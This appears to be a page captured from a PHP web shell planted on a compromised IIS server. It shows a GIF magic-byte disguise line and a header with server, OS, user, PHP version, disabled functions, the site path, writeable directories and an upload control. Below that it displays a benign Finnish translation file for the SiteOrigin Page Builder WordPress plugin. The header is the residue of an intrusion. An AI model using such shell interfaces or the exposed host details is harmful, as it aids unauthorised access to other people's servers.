GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/siteorigin-panels-fi_FI.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.7.5\n"
"Project-Id-Version: Page Builder\n"
"Language: fi\n"
"POT-Creation-Date: \n"
"PO-Revision-Date: \n"
"Last-Translator: \n"
"Language-Team: \n"

#: inc/admin-actions.php:80
msgid "No description"
msgstr "Ei kuvausta"

#. A prebuilt layout is essentially a complete visual layout that was pre created.
#: inc/admin-actions.php:89
msgid "Your theme doesn't have any prebuilt layouts."
msgstr "Teemasi ei sisällä yhtään valmista asettelua."

#: inc/admin-actions.php:90
msgid "You can still clone existing pages though."
msgstr "Voit kuitenkin kloonata olemassa olevien sivujen asetteluita."

#: inc/admin-actions.php:123
msgid "Clone"
msgstr "Kloonaa"

#: inc/admin-actions.php:141
msgid "There are no %s with Page Builder content to clone."
msgstr "Ei yhtään %s kloonattavana joissa olisi Page Builder asetteluita."

#: inc/default-styles.php:57
msgid "Row Class"
msgstr "Rivin luokka"

#. A CSS class is something to describe an HTML element.
#: inc/default-styles.php:60 inc/default-styles.php:165
msgid "A CSS class"
msgstr "CSS luokka"

#: inc/default-styles.php:65
msgid "Cell Class"
msgstr "Solun luokka"

#: inc/default-styles.php:68
msgid "Class added to all cells in this row."
msgstr "Luokka lisätty kaikkiin tämän rivin soluihin."

#: inc/default-styles.php:73 inc/default-styles.php:170
msgid "CSS Styles"
msgstr "CSS tyylit"

#: inc/default-styles.php:76 inc/default-styles.php:173
msgid "CSS Styles, given as one per row."
msgstr "CSS tyylit, yksi tyyli per rivi."

#. The amount of spacing below a row. This comes from the concept of a text margin.
#: inc/default-styles.php:83
msgid "Bottom Margin"
msgstr "Alamarginaali"

#: inc/default-styles.php:86
msgid "Space below the row."
msgstr "Rivin alapuolinen tyhjä tila."

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: inc/default-styles.php:91
msgid "Gutter"
msgstr "Väli"

#: inc/default-styles.php:94
msgid "Amount of space between columns."
msgstr "Palstojen välinen tyhjä tila."

#. This is essentially the amount of padding, or amount of space around a widget or row.
#: inc/default-styles.php:99 inc/default-styles.php:178
msgid "Padding"
msgstr "Täytetila"

#: inc/default-styles.php:102
msgid "Padding around the entire row."
msgstr "Koko rivin täytetila"

#: inc/default-styles.php:107
msgid "Row Layout"
msgstr "Rivin asettelu"

#: inc/default-styles.php:111
msgid "Standard"
msgstr "Vakio"

#: inc/default-styles.php:112
msgid "Full Width"
msgstr "Täysi leveys"

#. This means the row is displayed the full width of the page and the content is also stretched.
#: inc/default-styles.php:113
msgid "Full Width Stretched"
msgstr "Täysilevyinen venytetty"

#: inc/default-styles.php:121 inc/default-styles.php:188
msgid "Background Color"
msgstr "Taustaväri"

#: inc/default-styles.php:124
msgid "Background color of the row."
msgstr "Rivin taustaväri"

#: inc/default-styles.php:129 inc/default-styles.php:196
msgid "Background Image"
msgstr "Taustakuva"

#: inc/default-styles.php:132
msgid "Background image of the row."
msgstr "Rivin taustakuva"

#: inc/default-styles.php:137 inc/default-styles.php:204
msgid "Background Image Display"
msgstr "Taustakuvan näyttö"

#: inc/default-styles.php:141 inc/default-styles.php:208
msgid "Tiled Image"
msgstr "Ruudutettu kuva"

#: inc/default-styles.php:142 inc/default-styles.php:209
msgid "Cover"
msgstr "Levitä"

#: inc/default-styles.php:143 inc/default-styles.php:210
msgid "Centered, with original size"
msgstr "Keskitä, alkuperäinen koko"

#: inc/default-styles.php:145 inc/default-styles.php:212
msgid "How the background image is displayed."
msgstr "Miten taustakuva esitetään."

#: inc/default-styles.php:150 inc/default-styles.php:217
msgid "Border Color"
msgstr "Reunan väri"

#: inc/default-styles.php:153
msgid "Border color of the row."
msgstr "Rivin reunan väri."

#: inc/default-styles.php:162
msgid "Widget Class"
msgstr "Vimpaimen luokka"

#: inc/default-styles.php:181
msgid "Padding around the entire widget."
msgstr "Täytetila vimpaimen ympärillä."

#: inc/default-styles.php:191
msgid "Background color of the widget."
msgstr "Vimpaimen taustaväri."

#: inc/default-styles.php:199
msgid "Background image of the widget."
msgstr "Vimpaimen taustakuva."

#: inc/default-styles.php:220
msgid "Border color of the widget."
msgstr "Vimpaimen reunan väri."

#: inc/default-styles.php:225
msgid "Font Color"
msgstr "Fontin väri"

#: inc/default-styles.php:228
msgid "Color of text inside this widget."
msgstr "Vimpaimen tekstin väri."

#: inc/plugin-activation.php:7 inc/plugin-activation.php:8
msgid "Install Page Builder Plugin"
msgstr "Asenna Page Builder -lisäosa"

#: inc/plugin-activation.php:74
msgid "Installing %s"
msgstr "Asennetaan %s"

#: inc/revisions.php:50
msgid "Page Builder Content"
msgstr "Page Builder -sisältö"

#: inc/styles.php:16
msgid "Row Styles"
msgstr "Rivityylit"

#: inc/styles.php:20
msgid "Widget Styles"
msgstr "Vimpaintyylit"

#: inc/styles.php:42
msgid "Attributes"
msgstr "Atribuutit"

#: inc/styles.php:46 settings/settings.php:225
msgid "Layout"
msgstr "Asettelu"

#: inc/styles.php:50
msgid "Design"
msgstr "Design"

#: inc/styles.php:60
msgid "Theme"
msgstr "Teema"

#: inc/styles.php:179
msgid "Select Image"
msgstr "Valitse kuva"

#: inc/styles.php:183
msgid "Remove"
msgstr "Poista"

#: inc/styles.php:197 settings/settings.php:313
msgid "Enabled"
msgstr "Käytössä"

#: inc/widgets-bundle.php:7
msgid "SiteOrigin Button"
msgstr "SiteOrigin painike"

#: inc/widgets-bundle.php:8 widgets/widgets/button/button.php:8
msgid "A simple button"
msgstr "Yksinkertainen painike"

#: inc/widgets-bundle.php:11 inc/widgets-bundle.php:23
#: inc/widgets-bundle.php:35 inc/widgets-bundle.php:47
#: inc/widgets-bundle.php:59 inc/widgets.php:126
msgid "SiteOrigin Widgets Bundle"
msgstr "SiteOrigin Vimpainpaketti"

#: inc/widgets-bundle.php:19
msgid "SiteOrigin Image"
msgstr "SiteOrigin kuva"

#: inc/widgets-bundle.php:20
msgid "Choose images from your media library."
msgstr "Valitse kuvat mediakirjastostasi."

#: inc/widgets-bundle.php:31
msgid "SiteOrigin Slider"
msgstr "SiteOrigin kuvakaruselli"

#: inc/widgets-bundle.php:32
msgid "A basic slider widget."
msgstr "Yksinkertainen kuvakarusellivimpain."

#: inc/widgets-bundle.php:43
msgid "SiteOrigin Features"
msgstr "SiteOrigin Kohokohdat"

#: inc/widgets-bundle.php:44
msgid "Display site features as a collection of icons."
msgstr "Esittää sivuston kohokohtia kuvakkeiden kokoelmana."

#: inc/widgets-bundle.php:55
msgid "SiteOrigin Post Carousel"
msgstr "SiteOrigin Artikkelikaruselli"

#: inc/widgets-bundle.php:56
msgid "Display your posts as a carousel."
msgstr "Esittää artikkelit karusellissa."

#: inc/widgets.php:17
msgid "Visual Editor"
msgstr "Graafinen"

#: inc/widgets.php:18
msgid "Arbitrary text or HTML with visual editor"
msgstr "Vapaamuotoinen teksti tai HTML-koodi graafisella editorilla"

#: inc/widgets.php:21
msgid "Black Studio TinyMCE"
msgstr "Black Studio TinyMCE"

#: inc/widgets.php:102
msgid "Widgets Bundle"
msgstr "Vimpainpaketti"

#: inc/widgets.php:132
msgid "Page Builder Widgets"
msgstr "Page Builder vimpaimet"

#: inc/widgets.php:148
msgid "WordPress Widgets"
msgstr "WordPress vimpaimet"

#: inc/widgets.php:158
msgid "WooCommerce"
msgstr "WooCommerce"

#: inc/widgets.php:169
msgid "Jetpack"
msgstr "Jetpack"

#: inc/widgets.php:180
msgid "BBPress"
msgstr "BBPress"

#: inc/widgets.php:188 settings/settings.php:218
msgid "Recommended Widgets"
msgstr "Suositellut vimpaimet"

#: settings/settings.php:146 settings/tpl/settings.php:9 tpl/options.php:5
msgid "SiteOrigin Page Builder"
msgstr "SiteOrigin Page Builder"

#: settings/settings.php:146 siteorigin-panels.php:108
#: siteorigin-panels.php:467 tpl/js-templates.php:160
msgid "Page Builder"
msgstr "Page Builder"

#: settings/settings.php:170
msgid "Page Builder Settings"
msgstr "Page Builder asetukset"

#: settings/settings.php:186 tpl/options.php:11
msgid "General"
msgstr "Yleinen"

#: settings/settings.php:192 tpl/options.php:15
msgid "Post Types"
msgstr "Artikkelityypit"

#: settings/settings.php:194
msgid "The post types to use Page Builder on."
msgstr "Artikkelityypit joissa Page Builder on käytössä."

#: settings/settings.php:200
msgid "Widgets"
msgstr "Vimpaimet"

#: settings/settings.php:206
msgid "Widget Title HTML"
msgstr "Vimpaimen otsikon HTML"

#. Something I forgot to mention is that for this string "{{title}}" shouldn't be translated. The rest of the string can be, but that one part needs to remain as is.
#: settings/settings.php:207
msgid "The HTML used for widget titles. {{title}} is replaced with the widget title."
msgstr ""

#: settings/settings.php:212
msgid "Legacy Bundled Widgets"
msgstr ""

#: settings/settings.php:213
msgid "Load legacy widgets from Page Builder 1."
msgstr ""

#: settings/settings.php:219
msgid "Display recommend widgets in Page Builder add widget dialog."
msgstr ""

#: settings/settings.php:233 tpl/options.php:57
msgid "Responsive Layout"
msgstr "Responsiivinen taitto"

#: settings/settings.php:234
msgid "Collapse widgets, rows and columns on mobile devices."
msgstr "Paina kokoon vimpaimet, rivit ja palstat mobiililaitteilla."

#: settings/settings.php:240 tpl/options.php:64
msgid "Mobile Width"
msgstr "Mobiilileveys"

#: settings/settings.php:241
msgid "Device width, in pixels, to collapse into a mobile view ."
msgstr "Ruudunleveys pikseleinä, jolloin näytetään mobiilinäkymä."

#: settings/settings.php:247 tpl/options.php:70
msgid "Row Bottom Margin"
msgstr "Rivin alamarginaali"

#: settings/settings.php:248
msgid "Default margin below rows."
msgstr "Oletusmarginaali rivien alla"

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: settings/settings.php:254
msgid "Row Gutter"
msgstr "Rivien väli"

#: settings/settings.php:255
msgid "Default spacing between columns in each row."
msgstr "Oletusväli kahden palstan välissä."

#. In this context, the container is an HTML container or wrapper.
#: settings/settings.php:261
msgid "Full Width Container"
msgstr "Täyslevyinen "

#: settings/settings.php:262
msgid "The container used for the full width layout."
msgstr "Elementti, jota käytetään täyslevyisessä asettelussa."

#: settings/settings.php:269
msgid "Content"
msgstr "Sisältö"

#: settings/settings.php:275 tpl/options.php:25
msgid "Copy Content"
msgstr "Kopioi sisältö"

#: settings/settings.php:276
msgid "Copy content from Page Builder to post content."
msgstr "Kopioi sisältö Page Builderista artikkelin sisältöön."

#: settings/tpl/settings.php:12
msgid "Search Settings"
msgstr "Hakuasetukset"

#: settings/tpl/settings.php:29
msgid "Settings Saved"
msgstr "Asetukset tallennettu"

#: settings/tpl/settings.php:78 tpl/options.php:93
msgid "Save Settings"
msgstr "Tallenna asetukset"

#: siteorigin-panels.php:73
msgid "Custom Home Page Builder"
msgstr "Mukautetun etusivun Page Builder"

#: siteorigin-panels.php:74 siteorigin-panels.php:140
msgid "Home Page"
msgstr "Etusivu"

#: siteorigin-panels.php:263
msgid "All Widgets"
msgstr "Kaikki vimpaimet"

#: siteorigin-panels.php:274
msgid "Missing Widget"
msgstr "Vimpain puuttuu"

#: siteorigin-panels.php:275
msgid "Page Builder doesn't know about this widget."
msgstr "Page Builder ei tunne tätä vimpainta."

#: siteorigin-panels.php:279
msgid "%d seconds"
msgstr "%d sekunttia"

#: siteorigin-panels.php:281
msgid "%d minutes"
msgstr "%d minuuttia"

#: siteorigin-panels.php:283
msgid "%d hours"
msgstr "%d tuntia"

#: siteorigin-panels.php:286
msgid "%d second"
msgstr "%d sekuntti"

#: siteorigin-panels.php:288
msgid "%d minute"
msgstr "%d minuutti"

#: siteorigin-panels.php:290
msgid "%d hour"
msgstr "%d tunti"

#: siteorigin-panels.php:293
msgid "%s before"
msgstr "%s ennen"

#: siteorigin-panels.php:294
msgid "Now"
msgstr "Nyt"

#: siteorigin-panels.php:298
msgid "Current"
msgstr "Nykyinen"

#: siteorigin-panels.php:299
msgid "Original"
msgstr "Alkuperäinen"

#: siteorigin-panels.php:300
msgid "Version restored"
msgstr "Versio palautettu"

#: siteorigin-panels.php:304
msgid "Widget deleted"
msgstr "Vimpain poistettu"

#: siteorigin-panels.php:306
msgid "Widget added"
msgstr "Vimpain lisätty"

#: siteorigin-panels.php:308
msgid "Widget edited"
msgstr "Vimpainta muokattu"

#: siteorigin-panels.php:310
msgid "Widget duplicated"
msgstr "Vimpain kloonattu"

#: siteorigin-panels.php:312
msgid "Widget moved"
msgstr "Vimpain siirretty"

#: siteorigin-panels.php:316
msgid "Row deleted"
msgstr "Rivi poistettu"

#: siteorigin-panels.php:318
msgid "Row added"
msgstr "Rivi lisätty"

#: siteorigin-panels.php:320
msgid "Row edited"
msgstr "Rivi muokattu"

#: siteorigin-panels.php:322
msgid "Row moved"
msgstr "Rivi siirretty"

#: siteorigin-panels.php:324
msgid "Row duplicated"
msgstr "Rivi kloonattu"

#: siteorigin-panels.php:327
msgid "Cell resized"
msgstr "Palstan koko muutettu"

#: siteorigin-panels.php:330
msgid "Prebuilt layout loaded"
msgstr "Valmis asettelu ladattu"

#: siteorigin-panels.php:334
msgid "Are you sure you want to overwrite your current content? This can be undone in the builder history."
msgstr "Oletko varma, että haluat korvata nykyisen sisällön? Tämän voi kumota Page Builderin muutoshistoriasta."

#: siteorigin-panels.php:335
msgid "Loading prebuilt layout"
msgstr "Ladataan valmista asettelua"

#: siteorigin-panels.php:336
msgid "Would you like to copy this editor's existing content to Page Builder?"
msgstr ""

#: siteorigin-panels.php:337
msgid "Would you like to clear your Page Builder content and revert to using the standard visual editor?"
msgstr ""

#: siteorigin-panels.php:339
msgid "Layout Builder Widget"
msgstr ""

#: siteorigin-panels.php:341 tpl/js-templates.php:85
msgid "Are you sure?"
msgstr "Oletko varma?"

#: siteorigin-panels.php:348
msgid "Page Builder layouts"
msgstr "Page Builder asettelut"

#: siteorigin-panels.php:349
msgid "Error uploading or importing file."
msgstr "Virhe tiedoston latauksessa tai tuonnissa."

#: siteorigin-panels.php:395
msgid "Untitled Widget"
msgstr "Nimetön vimpain"

#: siteorigin-panels.php:1140
msgid "Edit Home Page"
msgstr "Muokkaa etusivua"

#: siteorigin-panels.php:1237
msgid "Save and reload this page to start using the widget after you've installed it."
msgstr "Tallenna ja päivitä tämä sivu käyttääksesi vimpainta sitten kun olet asentanut sen."

#: siteorigin-panels.php:1321
msgid "Support Forum"
msgstr "Tukifoorumi"

#: siteorigin-panels.php:1322
msgid "Newsletter"
msgstr "Uutiskirje"

#: tpl/admin-home-page.php:9
msgid "On"
msgstr "Päällä"

#: tpl/admin-home-page.php:9
msgid "Off"
msgstr "Pois"

#: tpl/admin-home-page.php:13
msgid "Custom Home Page"
msgstr "Mukautettu etusivu"

#: tpl/admin-home-page.php:45
msgid "Save Home Page"
msgstr "Tallenna etusivu"

#: tpl/admin-home-page.php:49
msgid "This interface requires Javascript"
msgstr "Tämä käyttöliittymä vaatii Javascriptin toimiakseen"

#: tpl/help.php:2
msgid "You can use SiteOrigin Page Builder to create home and sub pages, filled your own widgets."
msgstr "Voit käyttää SiteOrigin Page Builderia rakentamaan vimpaimista etusivun ja alasivuja."

#: tpl/help.php:3
msgid "The page layouts are responsive and fully customizable."
msgstr "Sivuasettelut ovat responsiivisia ja täysin muokattavissa."

#: tpl/js-templates.php:12
msgid "Add Widget"
msgstr "Lisää vimpain"

#: tpl/js-templates.php:17
msgid "Add Row"
msgstr "Lisää rivi"

#: tpl/js-templates.php:22
msgid "Prebuilt"
msgstr "Valmiiksi rakennettu"

#: tpl/js-templates.php:29
msgid "History"
msgstr "Historia"

#: tpl/js-templates.php:34
msgid "Live Editor"
msgstr "Live Muokkaus"

#: tpl/js-templates.php:39
msgid "Switch to Editor"
msgstr "Siirry editoriin"

#: tpl/js-templates.php:83 tpl/js-templates.php:256
msgid "Edit Row"
msgstr "Muokkaa riviä"

#: tpl/js-templates.php:84
msgid "Duplicate Row"
msgstr "Kloonaa rivi"

#: tpl/js-templates.php:85
msgid "Delete Row"
msgstr "Poista rivi"

#: tpl/js-templates.php:113
msgid "Edit"
msgstr "Muokkaa"

#: tpl/js-templates.php:114 tpl/js-templates.php:231 tpl/js-templates.php:322
msgid "Duplicate"
msgstr "Kloonaa"

#: tpl/js-templates.php:115 tpl/js-templates.php:230 tpl/js-templates.php:321
msgid "Delete"
msgstr "Poista"

#: tpl/js-templates.php:169 tpl/js-templates.php:234
msgid "Done"
msgstr "Tehty"

#: tpl/js-templates.php:183
msgid "Add New Widget %s"
msgstr "Lisää uusi vimpain %s"

#: tpl/js-templates.php:187
msgid "Search Widgets"
msgstr "Hae vimpaimia"

#: tpl/js-templates.php:199
msgid "Close"
msgstr "Sulje"

#: tpl/js-templates.php:254
msgid "Add New Row"
msgstr "Lisää uusi rivi"

#: tpl/js-templates.php:290
msgid "Left to Right"
msgstr "Vasemmalta oikealle"

#: tpl/js-templates.php:291
msgid "Right to Left"
msgstr "Oikealta vasemmalle"

#: tpl/js-templates.php:308
msgid "Set"
msgstr "Aseta"

#: tpl/js-templates.php:327
msgid "Insert"
msgstr "Sijoita"

#: tpl/js-templates.php:329
msgid "Save"
msgstr "Tallenna"

#: tpl/js-templates.php:347
msgid "Prebuilt Layouts"
msgstr "Valmiit asettelut"

#: tpl/js-templates.php:351
msgid "Search"
msgstr "Hae"

#: tpl/js-templates.php:354
msgid "Theme Defined"
msgstr "Teeman määrittelemä"

#: tpl/js-templates.php:355
msgid "Import/Export"
msgstr "Tuo / Vie"

#: tpl/js-templates.php:361
msgid "Clone: %s"
msgstr "Kloonaa %s"

#: tpl/js-templates.php:382
msgid "Drop import file here"
msgstr "Pudota tuotava tiedosto tähän"

#: tpl/js-templates.php:383
msgid "Or"
msgstr "Tai"

#: tpl/js-templates.php:386
msgid "Select Import File"
msgstr "Valitse tuotava tiedosto"

#: tpl/js-templates.php:398
msgid "Download Layout"
msgstr "Lataa asettelu"

#: tpl/js-templates.php:419
msgid "Page Builder Change History"
msgstr "Page Builder muutoshistoria"

#: tpl/js-templates.php:433
msgid "Restore Version"
msgstr "Palauta versio"

#: tpl/js-templates.php:458
msgid "Close Live Editor"
msgstr "Sulje Live-editori"

#: tpl/options.php:26
msgid "Copy content from Page Builder into the standard content editor."
msgstr "Kopioi sisältö Page Builderista graafiseen editoriin."

#: tpl/options.php:32
msgid "Animations"
msgstr "Animaatiot"

#: tpl/options.php:33
msgid "Disable animations for improved performance."
msgstr "Poista animaatiot suorituskyvyn parantamiseksi."

#: tpl/options.php:39
msgid "Bundled Widgets"
msgstr "Paketoidut vimpaimet"

#: tpl/options.php:40
msgid "Include the bundled widgets."
msgstr "Sisällytä paketoidut vimpaimet."

#: tpl/options.php:48
msgid "Display"
msgstr "Näyttö"

#: tpl/options.php:58
msgid "Should the layout collapse for mobile devices."
msgstr "Rivittyykö asettelu mobiililaitteilla?"

#: tpl/options.php:76
msgid "Cell Side Margins"
msgstr "Palstan reunojen marginaalit"

#: tpl/options.php:82
msgid "Inline CSS"
msgstr "Liitetty CSS"

#: widgets/basic.php:13
msgid "Layout Builder"
msgstr "Asettelutyökalu"

#: widgets/basic.php:53
msgid "Open Builder"
msgstr "Avaa asettelutyökalu"

#: widgets/basic.php:82
msgid "Post Content"
msgstr "Artikkelin sisältö"

#: widgets/basic.php:84
msgid "Displays content from the current post."
msgstr "Näytä sisältöä nykyisestä artikkelista."

#: widgets/basic.php:130 widgets/basic.php:427 widgets/widgets.php:589
#: widgets/widgets.php:764
msgid "None"
msgstr "Ei mitään"

#: widgets/basic.php:131 widgets/basic.php:355
#: widgets/widgets/call-to-action/call-to-action.php:15
#: widgets/widgets/list/list.php:15 widgets/widgets/price-box/price-box.php:15
msgid "Title"
msgstr "Otsikko"

#: widgets/basic.php:132
msgid "Featured Image"
msgstr "Artikkelikuva"

#: widgets/basic.php:137
msgid "Display Content"
msgstr "Esitettävä sisältö"

#: widgets/basic.php:157
msgid "Post Loop"
msgstr "Artikkeli listaus"

#: widgets/basic.php:159
msgid "Displays a post loop."
msgstr "Näyttää artikkelilistauksen."

#: widgets/basic.php:349
msgid "Your theme doesn't have any post loops."
msgstr "Teemasi ei sisällä yhtään artikkelilistauksia."

#: widgets/basic.php:359
msgid "Template"
msgstr "Pohja"

#: widgets/basic.php:375
msgid "More Link "
msgstr "Lue lisää -linkki "

#: widgets/basic.php:377
msgid "If the template supports it, cut posts and display the more link."
msgstr "Katkaise artikkeli ja näytä Lue lisää -linkki (jos pohja tukee sitä)."

#: widgets/basic.php:411 widgets/widgets.php:575
msgid "Post Type"
msgstr "Artikkelin tyyppi"

#: widgets/basic.php:420 widgets/widgets.php:582
msgid "Posts Per Page"
msgstr "Artikkeleita per sivu"

#: widgets/basic.php:425 widgets/widgets.php:587
msgid "Order By"
msgstr "Järjestä"

#: widgets/basic.php:428 widgets/widgets.php:590
msgid "Post ID"
msgstr "Artikkeli ID"

#: widgets/basic.php:429 widgets/widgets.php:591
msgid "Author"
msgstr "Kirjoittaja"

#: widgets/basic.php:430 widgets/basic.php:431 widgets/widgets.php:592
#: widgets/widgets.php:593 widgets/widgets/testimonial/testimonial.php:15
msgid "Name"
msgstr "Nimi"

#: widgets/basic.php:432 widgets/widgets.php:594
msgid "Date"
msgstr "Päivämäärä"

#: widgets/basic.php:433 widgets/widgets.php:595
msgid "Modified"
msgstr "Muokattu"

#: widgets/basic.php:434 widgets/widgets.php:596
msgid "Parent"
msgstr "Vanhempi"

#: widgets/basic.php:435 widgets/widgets.php:597
msgid "Random"
msgstr "Satunnainen"

#: widgets/basic.php:436 widgets/widgets.php:598
msgid "Comment Count"
msgstr "Kommenttien lukumäärä"

#: widgets/basic.php:437 widgets/basic.php:438 widgets/widgets.php:599
msgid "Menu Order"
msgstr "Valikkojärjestys"

#: widgets/basic.php:439
msgid "Post In Order"
msgstr "Artikkeli järjestyksessä"

#: widgets/basic.php:444 widgets/widgets.php:605
msgid "Order"
msgstr "Järjestys"

#: widgets/basic.php:446 widgets/widgets.php:608
msgid "Descending"
msgstr "Laskeva"

#: widgets/basic.php:447 widgets/widgets.php:607
msgid "Ascending"
msgstr "Nouseva"

#: widgets/basic.php:452 widgets/widgets.php:614
msgid "Sticky Posts"
msgstr "Kiinnitetyt artikkelit"

#: widgets/basic.php:454 widgets/widgets.php:616 widgets/widgets.php:738
msgid "Default"
msgstr "Oletus"

#: widgets/basic.php:455 widgets/widgets.php:617
msgid "Ignore Sticky"
msgstr "Ohita kiinnitetyt"

#: widgets/basic.php:456 widgets/widgets.php:618
msgid "Exclude Sticky"
msgstr "Jätä pois kiinnitetyt"

#: widgets/basic.php:457 widgets/widgets.php:619
msgid "Only Sticky"
msgstr "Vain kiinnitetyt"

#: widgets/basic.php:462
msgid "Additional "
msgstr "Lisät"

#: widgets/widgets.php:204
msgid "Style"
msgstr "Tyyli"

#: widgets/widgets.php:228
msgid "%s Style"
msgstr "%s Tyyli"

#: widgets/widgets.php:625
msgid "Additional Arguments"
msgstr "Lisämuuttujat"

#: widgets/widgets.php:686
msgid "Gallery (PB)"
msgstr "Galleria (PB)"

#: widgets/widgets.php:688
msgid "Displays a gallery."
msgstr "Näyttää artikkelit galleriana."

#: widgets/widgets.php:727
msgid "Gallery Images"
msgstr "Gallerian kuvat"

#: widgets/widgets.php:728
msgid "edit gallery"
msgstr "muokkaa galleriaa"

#: widgets/widgets.php:732
msgid "Comma separated attachment IDs. Defaults to all current page's attachments."
msgstr "Liitteiden ID:t pilkulla erotettuna. Oletuksena käytetään artikkelin kaikkia liitteitä."

#: widgets/widgets.php:736
msgid "Image Size"
msgstr "Kuvan koko"

#: widgets/widgets.php:739
msgid "Large"
msgstr "Suuri"

#: widgets/widgets.php:740
msgid "Medium"
msgstr "Keskikokoinen"

#: widgets/widgets.php:741
msgid "Thumbnail"
msgstr "Pikkukuva"

#: widgets/widgets.php:742
msgid "Full"
msgstr "Täysikokoinen"

#: widgets/widgets.php:750
msgid "Gallery Type"
msgstr "Gallerian tyyppi"

#: widgets/widgets.php:755
msgid "Columns"
msgstr "Palstat"

#: widgets/widgets.php:760
msgid "Link To"
msgstr "Linkkaa"

#: widgets/widgets.php:762
msgid "Attachment Page"
msgstr "Liitteen sivu"

#: widgets/widgets.php:763
msgid "File"
msgstr "Tiedosto"

#: widgets/widgets.php:781
msgid "Image (PB)"
msgstr "Kuva (PB)"

#: widgets/widgets.php:783
msgid "Displays a simple image."
msgstr "Näyttää yksinkertaisen kuvan."

#: widgets/widgets.php:816
#: widgets/widgets/animated-image/animated-image.php:15
msgid "Image URL"
msgstr "Kuvan URL"

#: widgets/widgets.php:820 widgets/widgets/button/button.php:19
msgid "Destination URL"
msgstr "Kohteen URL"

#: widgets/widgets.php:834
msgid "Embedded Video (PB)"
msgstr "Upotettu video (PB)"

#: widgets/widgets.php:836
msgid "Embeds a video."
msgstr "Upottaa videon sivulle."

#: widgets/widgets.php:874
msgid "Video"
msgstr "Video"

#: widgets/widgets.php:890
msgid "Self Hosted Video (PB)"
msgstr "Itse hostattu video (PB)"

#: widgets/widgets.php:892
msgid "A self hosted video player."
msgstr "Videosoitin omalle sivustolle tallennettulle videolle."

#: widgets/widgets.php:934
msgid "Video URL"
msgstr "Videon URL"

#: widgets/widgets.php:938
msgid "Poster URL"
msgstr "Videon kuvan URL"

#: widgets/widgets.php:940
msgid "An image that displays before the video starts playing."
msgstr "Kuva joka näytetään ennen kuin video alkaa."

#: widgets/widgets.php:945
msgid "Auto Play Video"
msgstr "Toista video automaattisesti"

#: widgets/widgets/animated-image/animated-image.php:6
msgid "Animated Image (PB)"
msgstr "Animoitu kuva (PB)"

#: widgets/widgets/animated-image/animated-image.php:8
msgid "An image that animates in when it enters the screen."
msgstr "Kuva, joka animoituu kun se tulee näkyviin."

#: widgets/widgets/animated-image/animated-image.php:19
msgid "Animation"
msgstr "Animaatio"

#: widgets/widgets/animated-image/animated-image.php:21
msgid "Fade In"
msgstr "Häivytä sisään"

#: widgets/widgets/animated-image/animated-image.php:22
msgid "Slide Up"
msgstr "Liu'uta ylös"

#: widgets/widgets/animated-image/animated-image.php:23
msgid "Slide Down"
msgstr "Liu'uta alas"

#: widgets/widgets/animated-image/animated-image.php:24
msgid "Slide Left"
msgstr "Liu'uta vasemmalle"

#: widgets/widgets/animated-image/animated-image.php:25
msgid "Slide Right"
msgstr "Liu'uta oikealle"

#: widgets/widgets/button/button.php:6
msgid "Button (PB)"
msgstr "Painikkeet (PB)"

#: widgets/widgets/button/button.php:15 widgets/widgets/list/list.php:19
#: widgets/widgets/testimonial/testimonial.php:27
msgid "Text"
msgstr "Teksti"

#: widgets/widgets/button/button.php:23
#: widgets/widgets/call-to-action/call-to-action.php:31
#: widgets/widgets/price-box/price-box.php:44
#: widgets/widgets/testimonial/testimonial.php:36
msgid "Open In New Window"
msgstr "Avaa uudessa ikkunassa"

#: widgets/widgets/button/button.php:27
msgid "Button Alignment"
msgstr "Painikkeen sijoittelu"

#: widgets/widgets/button/button.php:29
msgid "Left"
msgstr "Vasenm"

#: widgets/widgets/button/button.php:30
msgid "Right"
msgstr "Oikea"

#: widgets/widgets/button/button.php:31
msgid "Center"
msgstr "Keskelle"

#: widgets/widgets/button/button.php:32
msgid "Justify"
msgstr "Tasaa"

#: widgets/widgets/call-to-action/call-to-action.php:6
msgid "Call To Action (PB)"
msgstr "Huomionkiinnittäjä (PB)"

#: widgets/widgets/call-to-action/call-to-action.php:8
msgid "A Call to Action block"
msgstr "Huomionkiinnittäjä"

#: widgets/widgets/call-to-action/call-to-action.php:19
msgid "Sub Title"
msgstr "Alaotsikko"

#: widgets/widgets/call-to-action/call-to-action.php:23
#: widgets/widgets/price-box/price-box.php:36
msgid "Button Text"
msgstr "Painikkeen teksti"

#: widgets/widgets/call-to-action/call-to-action.php:27
#: widgets/widgets/price-box/price-box.php:40
msgid "Button URL"
msgstr "Painikkeen URL"

#: widgets/widgets/call-to-action/call-to-action.php:37
#: widgets/widgets/price-box/price-box.php:49
msgid "Button"
msgstr "Painike"

#: widgets/widgets/list/list.php:6
msgid "List (PB)"
msgstr "Lista (PB)"

#: widgets/widgets/list/list.php:8 widgets/widgets/price-box/price-box.php:8
msgid "Displays a bullet list of elements"
msgstr "Näyttää listan elementeistä ranskalaisin viivoin"

#: widgets/widgets/list/list.php:20 widgets/widgets/price-box/price-box.php:32
msgid "Start each new point with an asterisk (*)"
msgstr "Aloita jokainen pointti tähdellä (*)"

#: widgets/widgets/price-box/price-box.php:6
msgid "Price Box (PB)"
msgstr "Hintalaatikko"

#: widgets/widgets/price-box/price-box.php:19
msgid "Price"
msgstr "Hinta"

#: widgets/widgets/price-box/price-box.php:23
msgid "Per"
msgstr "Per"

#: widgets/widgets/price-box/price-box.php:27
msgid "Information Text"
msgstr "Informaatioteksti"

#: widgets/widgets/price-box/price-box.php:31
msgid "Features Text"
msgstr "Ominaisuudet-teksti"

#: widgets/widgets/price-box/price-box.php:50
msgid "Feature List"
msgstr "Ominaisuuksien lista"

#: widgets/widgets/testimonial/testimonial.php:6
